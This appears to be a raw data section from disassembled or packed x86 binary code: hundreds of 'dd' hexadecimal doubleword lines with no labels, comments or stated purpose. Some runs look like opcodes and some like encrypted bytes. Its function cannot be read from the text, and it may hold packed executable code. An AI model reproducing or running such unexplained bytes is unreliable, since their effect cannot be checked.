		dd 0B4EC5763h, 68E0FDDh, 29000000h, 2910A185h, 9195FF06h
		dd 6A062905h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0A5A1C351h, 0D331A6A9h, 0B7A77BBAh
		dd 0CFBF6652h, 8D8B5BA3h, 62932CDh, 44C0B58Dh, 0B70F0630h
		dd 5206C7D8h, 336D6765h, 292B79BDh, 446C706h, 6C636E6Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BDC35646h
		dd 0BD896060h, 629285Dh, 14ED9509h, 8B610629h, 46C761DEh
		dd 73736108h, 4AEA8000h, 0B70F006Ah, 0C0858DDAh, 6A063044h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 458FC356h, 92C40451h, 65B589E6h, 0F062904h
		dd 5050DBBFh, 11E852h, 0D0770000h, 54051043h, 9BE8BE69h
		dd 0FE54348Eh, 50356584h, 5A310F52h, 310F5B58h,	0D112B951h
		dd 5A591D8Ch, 24048958h, 1F699D89h, 95FF0629h, 6290835h
		dd 12059589h, 0C00B0629h, 34840Fh, 8D330000h, 62907B9h
		dd 2E8E9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0B55B0C23h, 2FE23CE1h, 7499D03h
		dd 0A4680629h, 0BFD9F1B9h, 6775817Dh, 88240481h, 89260E47h
		dd 292FDDBDh, 9195FF06h, 0E9062905h, 7,	5D5C7659h, 8DFE446Ah
		dd 3044C0B5h, 0EE906h, 0EE610000h, 1C8ED385h, 9EC8F72Dh
		dd 5899C50Dh, 383106C7h, 6A3634h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 836385C3h, 0D290714Dh
		dd 46C78821h, 342D3704h, 0FBB6631h, 846C71Fh, 0
		dd 11159D31h, 6A0629h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 6EC35141h, 23A468Dh, 0D09B5A64h, 8820F27h
		dd 57000000h, 0D30AE381h, 8D5B068Fh, 3044C085h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 269F39D9h, 2371B589h, 8D8B0629h, 6292BA5h, 8B525090h
		dd 0E9310FC8h, 0Ch, 9FA0C51Ah, 45A72907h, 1E485F9h, 8A50585Ah
		dd 0BD8B90CBh, 6291E8Dh, 83595FFh, 0BD8B0629h, 6291825h
		dd 840FC00Bh, 13h, 198E9h, 85896000h, 6292F8Dh,	3099B58Bh
		dd 68610629h, 810C7885h, 6A23FFBBh, 2404815Ch, 7EF388A7h
		dd 95FFDE8Ah, 6290591h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 68C35242h, 0C829CEEEh, 8D8B9010h, 62905EDh
		dd 31398D8Bh, 0B58D0629h, 63044C0h, 30BD9D8Bh, 0DA810629h
		dd 1FA9C322h, 694606C7h, 6A656Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 14102CC3h, 8B269E53h
		dd 292C6DBDh, 0A9958B06h, 0C7062905h, 6F6D0446h, 0D08B636Eh
		dd 6C0846C7h, 6A737361h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0E88BC353h,	0ADBD8B60h
		dd 0F906292Ch, 0B5BD8B61h, 0C7062908h, 0C46h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0FBB5B7C3h, 0BD89006Ah, 6292E59h, 44C0858Dh,	0B9660630h
		dd 8A9069E6h, 0DE950F8h, 51000000h, 0FFDDF851h,	8324C907h
		dd 0B9F3239Ch, 89853190h, 89062918h, 29273D85h,	3595FF06h
		dd 6A062908h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0C750C355h, 0AB41BA07h, 0C00B3629h
		dd 0E840Fh, 81660000h, 0E91E81EBh, 2Dh,	885CBF66h, 0FFFB4DE9h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8BB9301Bh, 290A51BDh, 0FBB58D06h, 6A06296Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 868FC357h, 0E1AB8733h, 82FFCA81h,	0B806F2h
		dd 8A000000h, 29E6FFFEh, 2917F9B5h, 0FEC18B06h,	0A647BCAh
		dd 4EECF8A8h, 0A65468Ah, 0EAD5ABA8h, 0A651E75h,	4EEDE6A8h
		dd 0AE5DBA8Ah, 4EE25357h, 0A6A0E8Ah, 0EAD5ABA8h, 0A6AD175h
		dd 4EE281A8h, 0A6B538Ah, 4EE303A8h, 0A6BD58Ah, 0EAD5ABA8h
		dd 0D42F2575h, 131A18C6h, 1AE7C003h, 90A75298h,	57920956h
		dd 5E63D121h, 0D42F43BAh, 131A199Bh, 1AEFC003h,	90A75298h
		dd 57920801h, 5E7FD121h, 0D42F43BAh, 131A194Ah,	1AFBC003h
		dd 90A75298h, 57920BBDh, 5E4BD121h, 0D42F43BAh,	131A1AD3h
		dd 1AC7C003h, 90A75298h, 57920B4Eh, 5E47D121h, 0D42F43BAh
		dd 131A1BADh, 1AD3C003h, 90A75298h, 57920ACCh, 5E5FD121h
		dd 0D42F43BAh, 131A1B2Fh, 1ADBC003h, 90A75298h,	57920A4Ah
		dd 5E57D121h, 0B8C343BAh, 152A5012h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 3DC0D5F2h, 96A475C6h, 152AA8EDh, 2429458Ah
		dd 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh,	0EAD5BA41h
		dd 0AE63CE75h, 3C028D3Ah, 5342848Ch, 0EA2211ABh, 245D55FFh
		dd 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h
		dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h
		dd 0BFEA6603h, 0DB2FEE27h, 131A6B89h, 1129475h,	34A0D902h
		dd 0AEA475B5h, 51A1EC79h, 0DC0941AEh, 25157522h, 3773BA8Ch
		dd 732ADF10h, 7028C821h, 0EA2C6497h, 152BFD5Bh,	9881508Ch
		dd 619D6400h, 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0FDC0D5F2h
		dd 0DAA475C6h, 68A15CDDh, 0ADE78286h, 152A54A8h, 5830BACCh
		dd 9E2C7D80h, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 34A0D9F9h
		dd 0AEA475B5h, 949A0D79h, 551A2320h, 8481328Ch,	5DDF6E21h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h
		dd 0BA2458Ah, 5815BE29h, 242943BAh, 1957DFA0h, 515E004Dh
		dd 532A54A8h, 79ABD775h, 0CDA15281h, 0FC69CE19h, 0A5B9979Bh
		dd 0FA31EFE2h, 34A0D9F9h, 0AEA475B5h, 949A0D79h, 651A2320h
		dd 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah
		dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah
		dd 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h
		dd 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh,	51A24586h
		dd 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h
		dd 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h,	96AE3801h
		dd 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h
		dd 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h,	0D453B28Ah
		dd 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh,	19577F03h
		dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h,	24292576h
		dd 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h
		dd 0DC088600h, 25157522h, 0E173BA8Ch, 9FA7FEF8h, 57927AABh
		dd 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h,	402A5C6Ah
		dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah
		dd 152A54AFh, 797BD775h, 45265281h, 7028C820h, 0EA2C6497h
		dd 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh
		dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch
		dd 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h,	578B6D83h
		dd 17868C23h, 0DB2FEF49h, 131A6B89h, 0E9C49475h, 0BE4CBD28h
		dd 7A088600h, 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah
		dd 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h,	0EA80F8A8h
		dd 788A4C18h, 0B9E2DFAEh, 0DC088558h, 25157532h, 3771BA8Ch
		dd 73E39410h, 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh
		dd 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh
		dd 0BF8654A8h, 79ABD775h, 0DDA15281h, 0FB637726h, 2A0BCE25h
		dd 825D43BAh, 0E4AAECCEh, 9028EEECh, 19577F02h,	305E3803h
		dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h,	1957DFA0h
		dd 515E004Dh, 732A54A8h, 376B7732h, 34B0D903h, 0AEA475B5h
		dd 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h
		dd 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh,	0ADE78286h
		dd 152A54A8h, 0B824FDECh, 8FA7FFCEh, 57927AABh,	0A09A8757h
		dd 0FB0E0320h, 2A0BCE25h, 825D43BAh, 0D8ACECCEh, 2C89EEECh
		dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 5C0D5F2h,	96A475DAh, 152AA8EDh, 2429458Ah
		dd 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch
		dd 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah
		dd 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h
		dd 59D7BA86h, 5E6FCE25h, 0DCF143BAh, 25664832h,	0D871BA8Ch
		dd 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 438C882h, 462C64E3h
		dd 1DBEDF07h, 0C6D55298h, 0B85E0003h, 152A5492h, 0AEAE3075h
		dd 8FA75CDDh, 57920EEBh, 9B0D9FBh, 0AEA475C6h, 0E96FDD7Bh
		dd 51A25863h, 195FABA8h, 0DCAA3075h, 25613932h,	0CB2F168Ch
		dd 131A18B4h
		dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h
		dd 0E9000030h, 2Ah, 2404C7h, 0E8000000h, 0
		dd 0ECED815Dh, 8B063050h, 89042444h, 2927B985h,	0B806h
		dd 8D8D0000h, 6294D6Bh,	54B8E1FFh, 0E9000067h, 0A4h, 7AF80BD0h
		dd 81B5449Ch, 0C90D8667h, 0DC1322Fh, 5A9815EBh,	0A301CE0Ah
		dd 70CA2C2Eh, 3C9F79FDh, 856187B7h, 1B6ACE0Ch, 3C9D9C1Fh
		dd 0C568057Ah, 18EE1DC4h, 9EE079DFh, 9CF7B342h,	2BC581B5h
		dd 8E319C71h, 802EFA31h, 7129AD4Ah, 430BD680h, 0FF5980B3h
		dd 0F0D3971Ch, 0A8547F8Ch, 0C4102F2Ah, 397h, 0B43F1C00h
		dd 1AEC1FC4h, 9169E044h, 13D75C3Fh, 9056DBBDh, 15D5583Eh
		dd 9650DDB3h, 6CDA2930h, 0EE58D3AAh, 79C13028h,	5114683Ah
		dd 0F1E90630h, 4BFFF92Bh, 573C24A4h, 0E2C6B49Fh, 62F50AA1h
		dd 20399D8Dh, 0A8B80629h, 89000013h, 29063185h,	0E806h
		dd 5580000h, 0Dh, 0A8E90389h, 13h, 4E9h	dup(0)
		dd 0E9000000h, 3Bh, 1BD8B60h, 8306291Eh, 0C93304EFh, 20BBC18Bh
		dd 83EDB883h, 8BE04C7h,	0D1000000h, 23D21BE8h, 4EC233D3h
		dd 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h, 0FFFFD382h
		dd 8BC361FFh, 0CE8C8h, 54DD0000h, 342F44A1h, 785ED287h
		dd 0C980286Eh, 0E9515A6Fh, 11h,	0D1F33B1Eh, 10DD5BF4h
		dd 4665B79Fh, 61105F42h, 0C2815947h, 6AFCh, 8C92C881h
		dd 0BE5923h, 0E8000000h, 0Eh, 0F13ADF6Eh, 0B4441851h, 25FE5795h
		dd 8166C74Eh, 5991ADD9h, 81321C8Bh, 79B6AEBh, 0A1C3814Fh
		dd 667F4796h, 281BE881h, 7E02C381h, 0EE96A1Ah, 6000000h
		dd 68F9DE97h, 47F5913Dh, 33810964h, 321C8908h, 0DFEE81F8h
		dd 6607DC2Fh, 818897B9h, 0DC2FDBC6h, 800F07h, 81000000h
		dd 0FF95E8FEh, 2B850FFFh, 0E8000000h, 0Eh, 0A0E49E61h
		dd 0E25E7C44h, 0D9299189h, 6CB090CDh, 28E958h, 21EA0000h
		dd 0FFB531B0h, 0C06BCFEFh, 8D6116B1h, 6653008Fh, 59BDE6B8h
		dd 0FFFF77E9h, 0E5CF89FFh, 0EF04329Fh, 231BE13Ah, 2BE9FB20h
		dd 0F9000000h, 126284h,	9 dup(0)
		dd 0E2E90000h, 6800000Dh, 630690Dh, 0F916ABE9h,	6A0268FFh
		dd 0A1E90630h, 68FFF916h, 6306AE1h, 0F91697E9h,	6B8168FFh
		dd 8DE90630h, 68FFF916h, 6306F1Bh, 0F91683E9h, 723968FFh
		dd 79E90630h, 68FFF916h, 6307321h, 0F9166FE9h, 8172E9FFh
		dd 5EAFAB4Dh, 28A37A9Ch, 0E615CC2Ah, 0B13C9274h, 28F5EDBDh
		dd 0F117C74Ah, 0BE589A17h, 2E456DDh, 973323AAh,	8777F83Eh
		dd 43627A3Ch, 6666C438h, 8E020E85h, 0CDCD7196h,	0BED3611h
		dd 24F63AB3h, 0C369BF6Fh, 11F7BB91h, 8FD03DB6h,	6CAB288Bh
		dd 0AA8E9180h, 0EFD5DBB2h, 68B45A0Fh, 158466B2h, 1BF345AEh
		dd 96E6E92h, 4749DFF9h,	3CE61C71h, 6B7A44CCh, 0CD2A4E38h
		dd 1869525h, 4B2DA37Bh,	81F7D8Eh, 74B4ACE8h, 2A02h, 59C02B00h
		dd 1D8D89D2h, 427A45C9h, 0A61569D1h, 26869615h,	0BC318B6Dh
		dd 5B3399CAh, 0BE6086D2h, 0B3C0AC34h, 74674h, 35EF0000h
		dd 919h, 0EB60C4BAh, 6CEF4CAFh,	0E3544280h, 0CE806CEEh
		dd 0BD848F45h, 3AB30BCDh, 0F43FDA38h, 0BE9F6BAFh, 7087A45h
		dd 171962A3h, 60501BEDh, 3384F29Eh, 9E8696EDh, 57139E78h
		dd 0C3C7157Ch, 8696EC74h, 0C84ADC78h, 74B2E528h, 4AC2h
		dd 59C06B00h, 72A089D2h, 806CEF01h, 7C51A7E8h, 45EEE406h
		dd 9482937Ah, 8695EF23h, 0EEBA3D79h, 7C278695h,	9254BFE0h
		dd 0CB2C6AB3h, 368695EEh, 0A58C07E0h, 98FC71D7h, 95EF1B98h
		dd 0F135D386h, 0B3E77F61h, 0D4BB74h, 0C4B00000h, 0BF11E960h
		dd 0B39254D9h, 3C8A07E5h, 2FA401D7h, 4E2C085Bh,	121E67EEh
		dd 3DE9CEA6h, 876B41D2h, 6EEC65C1h, 6C756D2Ah, 0BF1DFB80h
		dd 3A927432h, 0AE0C68B3h, 0FE9747CEh, 7F0E6195h, 0A8FB806Ch
		dd 7EE45743h, 42CD806Ch, 0BD349076h, 218A0FCDh,	4F5CDEC4h
		dd 0E4BC7A45h, 0D73C8A01h, 0E3C85B81h, 0B01B9C9Ah, 9D868695h
		dd 0BC5DBFBFh, 0EDE82E77h, 8C807104h, 78DEBA83h, 0C1A741F5h
		dd 50AABF4Ch, 589AD6Ah,	0B18B2h, 0E112C900h, 0BE4F8B6Dh
		dd 8835ABCh, 0C6352CCAh, 911CF214h, 8D50D5Dh, 0D13727AAh
		dd 9E78FA77h, 6284B63Dh, 77D3038Ah, 8597181Eh, 63027A3Ch
		dd 0EB66C4D8h, 0A0298D6Bh, 83D5DBB2h, 6455DE24h, 22D575BBh
		dd 2DED1F24h, 0ED4B04CFh, 6224820Fh, 6AB9018Ch,	0C6533503h
		dd 69CF107Dh, 0F030048Dh, 7A45EEAEh, 8B6DB6D9h,	0EC5CB835h
		dd 95EF2B88h, 125A386h,	0B3E76F71h, 0C08B74h, 0C4A00000h
		dd 0BF11E960h, 0CF2056D9h, 3A806CEEh, 44B80E69h, 806CEA97h
		dd 3561EA42h, 806CF3C2h, 301D642Fh, 0B109F860h,	0AFC60652h
		dd 8D686EC9h, 7BD93F06h, 0FE5C2AA3h, 4F4B901Bh,	7A45C4EBh
		dd 0E28B4BD4h, 4E38CB16h, 0C4553705h, 22E0167Fh, 8580717Fh
		dd 0C04FB19Ah, 8DEE14C0h, 748CC186h, 0D551E52Bh, 2A8EE735h
		dd 0F315D954h, 0E493901Dh, 0BFAD6A42h, 0A23644Bh, 19C60000h
		dd 528E68EAh, 0F055B3A3h, 0C41DFB7Bh, 3E10737h,	0C41C4C8Eh
		dd 2614997Fh, 6BEB66C0h, 0ADA12A8Dh, 0F87AF34Bh, 0AE01755Ch
		dd 1B7A3C84h, 66C4F37Ah, 573682EBh, 157CF551h, 8AC85EFh
		dd 0B6825160h, 7DF450B6h, 0ED4B72F9h, 6E20860Bh, 6AB9018Ch
		dd 59B41D03h, 8928717Bh, 6D69CDA3h, 45A307F4h, 6B59E4EEh
		dd 6148935Fh, 6367C799h, 6DA6008Dh, 0F84BD002h,	0E06BCC94h
		dd 0DEFCD06h, 0D8DE278Ch, 7A4516B2h, 88CC0A15h,	0EDDA1B00h
		dd 50BD0693h, 33616C22h, 0D4C2532Ah, 36839663h,	64EF484Eh
		dd 681A171Dh, 6A9CF8BDh, 56EA703h, 832C9E11h, 3C180B36h
		dd 2F74BF5Ah, 5F335EEBh, 8BD04330h, 0FBC0492Dh,	0A9136492h
		dd 95FE3CAFh, 85618747h, 256FF0Ch, 29DDFD7Ch, 94486h, 0CD3E2500h
		dd 8273EF09h, 5CD7B650h, 12E1789Eh, 0ED60C620h,	5CA13969h
		dd 25C373FEh, 0EA0CCE43h, 0BE589A11h, 43E757DEh, 84C33462h
		dd 172E7A3Ch, 0E960C4ECh, 46E9C8Ch, 55AFB1B9h, 40D9B307h
		dd 65C692FBh, 0EDCB18EEh, 2D6C9280h, 0C0537A45h, 31BA1DFBh
		dd 8900DB3Dh, 95922A8Dh, 8409EF86h, 0AFCC748h, 959185F6h
		dd 44B29B86h, 869591F3h, 2367B5DEh, 869581D4h, 1F9676C2h
		dd 0BA1C78ABh, 0B0F54DFh, 806E792Bh, 0EE27838Ch, 4C3AB10Ah
		dd 0FB533107h, 0E142F172h, 3DF1AD6Ch, 8A4AAh, 6D9E4500h
		dd 22D30FE9h, 0FC77D630h, 0B241987Eh, 0D806680h, 0FC4199C9h
		dd 45A3931Eh, 0AEC6EE3h, 0DE383AB1h, 0E347F77Eh, 84239482h
		dd 0F78E7A3Ch, 0D259C04Ch, 0C6AD8D89h, 8C127A45h, 725BA229h
		dd 0E67C3D0Eh, 3B116583h, 0B8499177h, 0AB0C0A53h, 0C6869627h
		dd 0B444E713h, 112CE6Fh, 0FE5A332Bh, 7ED0961Dh,	7E551598h
		dd 0F763C117h, 7F33D06h, 0ABA44A50h, 0C302F6C2h, 1F1B9275h
		dd 8696B99Ch, 77331A05h, 0B85E381Ch, 83EC2A73h,	0D98696B9h
		dd 0C612E37Fh, 46B37718h, 84F44CD2h, 0A2685EBFh, 0EECC820h
		dd 0F1DA23D2h, 96693285h, 0A0F49F86h, 6893E0A4h, 8C0A8696h
		dd 75865325h, 9668B205h, 12511F86h, 59C80D6Dh, 0E3C8137Ah
		dd 7AE7B19Ah, 302E8189h, 889B8696h, 300477A3h, 0A2ED8696h
		dd 2FCD5256h, 0A3EC8696h, 0D001565Ah, 81DCE642h, 6B41A859h
		dd 89969AF3h, 83043AB4h, 0E870D622h, 0A64DA119h, 288696B9h
		dd 0DD5EE30h, 40987EFCh, 194FAE94h, 56B1DC4Dh, 6E7B190h
		dd 82D63D8Dh, 96AF818Eh, 86528386h, 0AA48AC27h,	0DC04DC74h
		dd 0F169CF2Dh, 77A32A8Dh, 8696B004h, 705BA2EDh,	34D6E52Bh
		dd 15D55E39h, 0CC9DF23Eh, 0AB498DEBh, 397D46EBh, 86967AB9h
		dd 4828751Eh, 408367EAh, 3A608474h, 70B23797h, 20C052D4h
		dd 0DA0051F2h, 1B0h, 0D259C013h, 0DA498D89h, 9F817A45h
		dd 0AAB13946h, 0FE64B0F2h, 91674895h, 84CFBB48h, 0F37AD2B0h
		dd 0C5C1A543h, 0C81BEF1Ch, 0B8E519E1h, 0EDFF5CE2h, 0EEED74Fh
		dd 0D5B15787h, 0CFA77D1h, 0C197FCC7h, 111FEB18h, 0B35B6DECh
		dd 0C68B392h, 0F338DEBCh, 0D5C12A43h, 0DDD2162h, 12F0C44Fh
		dd 137234C7h, 9A6C9D45h, 0C5366C49h, 2C0DDD21h,	0D7B71563h
		dd 0A27A9C5Eh, 0A765F2Bh, 6FF26E71h, 0FA65D0E1h, 10E082E2h
		dd 22AFE3C9h, 0FF3C57F0h, 70D6901Dh, 5CA81E95h,	86AE24FAh
		dd 0B1152EF0h, 78DC3A38h, 593487F3h, 0F29D8068h, 997DDFABh
		dd 8B69CF14h, 589D1E04h, 1B048068h, 171D7630h, 93206A9Dh
		dd 42A389E7h, 6886E354h, 0C660CE80h, 8D415908h,	7E985AA5h
		dd 0F7551598h, 4FB19A1Fh, 33FE6F9Bh, 2A7B51CDh,	685E97ECh
		dd 25297A80h, 4E26BC3h,	461EC42h, 9555A4BCh, 0AB965ABEh
		dd 0F6DF71B5h, 685F2F80h, 0A0AC9A80h, 10479716h, 1AF8DC27h
		dd 16E2CB42h, 1CD83CB7h, 0DFAB22FAh, 0CF14997Dh, 68AF70CBh
		dd 4D62AE80h, 65B2DE58h, 355E84D0h, 8E07E701h, 34A7E938h
		dd 0EF900F34h, 3B9C7246h, 0CD00F6B0h, 9E3DBEE4h, 7ADC8068h
		dd 0E23659F7h, 0DE9DA4Ch, 0AFAAAC09h, 5EB9EA5Ch, 4521C777h
		dd 0E69841h, 0EF5BA28Dh, 0FFC4692Dh, 0E430C119h, 9E3E8D89h
		dd 0F0A38068h, 48C3A442h, 0E3A3D63h, 3B4DAC05h,	8381E865h
		dd 0E369B3A6h, 5D2D0B3Fh, 0F5B20474h, 0D76F078Dh, 476F2781h
		dd 3A9C6A9Bh, 371CEA61h, 7AB885ECh, 8067FF09h, 24AFAFF0h
		dd 6FA3454Bh, 8179F456h, 91E55E42h, 0EF4F2D0Bh,	7BBD3E64h
		dd 7B24806Ch, 59C02210h, 0D8D89D2h, 0B27A4564h,	5B3C84E1h
		dd 238462D0h, 9D7CDEA8h, 0BEE4CD16h, 8695943Dh,	0B09DFBA4h
		dd 6E633C42h, 36F0A380h, 2F80F6DFh, 9A8CBEC7h, 106FA389h
		dd 8D8CBEB7h, 585EA70Ch, 8697AE5Ah, 0F4C4464Ah,	9CB66E1Fh
		dd 9F1A2B8h, 0CD7EF757h, 0A7435424h, 0AA40BFFh,	0DF000005h
		dd 0A543F300h, 688E4CBDh, 32D4068Dh, 8066D427h,	0FFAFAF22h
		dd 35B81EE3h, 8805E701h, 40CBAC4Ah, 19907492h, 0E21071D5h
		dd 7A3C7F91h, 0C0DE6578h, 2F89D259h, 2360C64Fh,	24BAF8D5h
		dd 0BC7A45D5h, 318900E4h, 375886D2h, 9BF3F73h, 0FA588696h
		dd 79DDB377h, 0C94024F0h, 95898F71h, 6CB51E21h,	0E89E5F3Ch
		dd 0D0C66354h, 8696295Fh, 5DF3D94Ah, 0A8A749C9h, 9D4374B3h
		dd 0E8000000h, 6CEF0966h, 5C445D80h, 1FFD71F8h,	0A9ED3673h
		dd 806CEF4Eh, 0E4127B4Ch, 806CEE93h, 92E5157Eh,	7F806CEEh
		dd 2C1AC014h, 4BC9775Eh, 4225F34Bh, 4618EEC9h, 0B2066FE6h
		dd 208652D9h, 6D8F4FADh, 0FF3B00A5h, 806C2184h,	8244226Dh
		dd 51B3A32Ah, 1B1F64C1h, 806C217Ch, 70B4721Dh, 806C6203h
		dd 0B50B1305h, 61C5366Ch, 632C806Ch, 5ADFB315h,	0D4E02871h
		dd 15FF9367h, 82111167h, 27806CE7h, 4E97FE7Ch, 6CE7E748h
		dd 5DD0AA80h, 74AAA6EDh, 7BA81EEDh, 0D297C410h,	1C000000h
		dd 89D259C0h, 8B2778A0h, 41BF3B68h, 2547376Bh, 0F95F7A45h
		dd 0F0D3971Ch, 7FCB4624h, 2C1AC014h, 74C6D571h,	8856792h
		dd 0AE60C621h, 0E514CCCCh, 64E94305h, 6900321Dh, 5608E327h
		dd 0AAFBBD48h, 70F438E8h, 0C4A6F215h, 9086EF54h, 8694F82Bh
		dd 0C125858Eh, 37C47A27h, 0CF47DF7Dh, 74B4DA25h, 6CDDh
		dd 58C01600h, 0B23751F6h, 8AD5950Fh, 0F875D7A1h, 0E9146793h
		dd 92FD806Ch, 0C82B6F46h, 0C6806CE8h, 57139A72h, 51C2187Ch
		dd 9170B8E9h, 0BA81E6B2h, 9973D127h, 54C42614h,	739086EFh
		dd 56806CCBh, 0B710E0CDh, 1468D83Ch, 806D0BA7h,	92AF77E9h
		dd 0F87BBF06h, 0E1806D0Bh, 20E57BEh, 0F45072EFh, 0C32276D5h
		dd 6DB3B8D7h, 0C4761980h, 8ED4B4Fh, 77D7B583h, 0EF3586FCh
		dd 0F39C806Ch, 9C78DEA8h, 56C32115h, 0B89280EDh, 277A45BEh
		dd 0E341177Ch, 6D4B986Eh, 201A999Dh, 36D28696h,	0B27E66F0h
		dd 0DB2C74B3h, 96175CDFh, 0FEDA4586h, 470Fh, 59C02400h
		dd 72A089D2h, 806CEF01h, 0A0BC3790h, 4EB499FFh,	7A45EF1Ch
		dd 0BF814CBCh, 0D8ADFF6h, 0C081F220h, 27688696h, 0AE180BD1h
		dd 0F9A63967h, 673CDF69h, 0CAA21111h, 0AE2A8696h, 0BF6FE78h
		dd 0EF0C74B3h, 39000000h, 4CF3454Bh, 0C05FE4Eh,	5EF24A28h
		dd 308CAA4Bh, 0F2DB2245h, 0CFCB4426h, 806BF86Ch, 7E3CA55h
		dd 0F867C8CEh, 0C152806Bh, 0E72E92E6h, 0F917989Eh, 9182806Bh
		dd 8A07E5BBh, 0D95A58A1h, 0C0806BF8h, 0D789795Fh, 3586FC77h
		dd 9C806BF9h, 78DEA8F3h, 4821159Ch, 0AF090FE8h,	246FDB22h
		dd 1F7DF450h, 6BF43C1Bh, 0C8412580h, 8108EC0Ah,	0DB66339h
		dd 0F1E4F220h, 988B7A44h, 8F7CE5B3h, 488CE83Bh,	7DF65721h
		dd 57DCBD1Fh, 61B2080Eh, 0A158070h, 7DF65721h, 8C62361Fh
		dd 552BCD01h, 0F4842BD8h, 0FB2FAD6Ah, 1ECD4h, 9566FD00h
		dd 6A9B47A1h, 24AF0EE8h, 0FA09D036h, 0B5389E78h, 34F9D181h
		dd 0FD1BDB56h, 42A4961Bh, 16F062E9h, 9B3F3FB6h,	7C6BCCCAh
		dd 0BF567A3Ch, 0EB66C434h, 2D298D6Bh, 92FBC24Fh, 0ED65AA6Eh
		dd 0F9DF4C6Fh, 59C0F67Dh, 598D89D2h, 67A45EFh, 0C5AC7A38h
		dd 0BD841966h, 2C4AA9CDh, 0BD78696h, 8F4A0CFAh,	0F2988A7Ch
		dd 0F197962Ch, 0AA3BA52Dh, 66F74B3h, 961F9F10h,	0F673DA86h
		dd 6DAFFFD4h, 0FD48ACF7h, 0BBh,	0E960C476h, 0ABEF3011h
		dd 806CEF48h, 348AEEB1h, 0B6FDB56h, 806CEA4Ch, 3A38B115h
		dd 9F178DCh, 107DC653h,	3FB0E6CFh, 0AA806CF4h, 7F9F93F9h
		dd 207A45E8h, 7C1DFF7Fh, 1BA2EE37h, 0F3FF2CD4h,	0D0C62F0Dh
		dd 8071EBCDh, 0C0332EECh, 66C49CF9h, 2F8D6BEBh,	71C481A2h
		dd 0AB5FAD69h, 10404h, 8D7EE500h, 42B3AF49h, 1C977690h
		dd 0D22138DEh, 0AD208660h, 1CE1F9A9h, 0E50333BEh, 0AA4C8E03h
		dd 7E985AD1h, 8327179Eh, 7B83F422h, 576E7A3Ch, 0A7454B2Ch
		dd 2F61E217h, 6DC3A1F7h, 243D9BE0h, 0E43013D7h,	8A268660h
		dd 0DACAEA19h, 0DC128D2h, 0B5449C64h, 613A9EF5h, 0C4458EEAh
		dd 3011E960h, 0BD0D8460h, 0C8AC0256h, 4E269CCh,	9476E4CFh
		dd 0C55BE05h, 0EF5BD6B4h, 505050A4h, 887A5D08h,	64C23128h
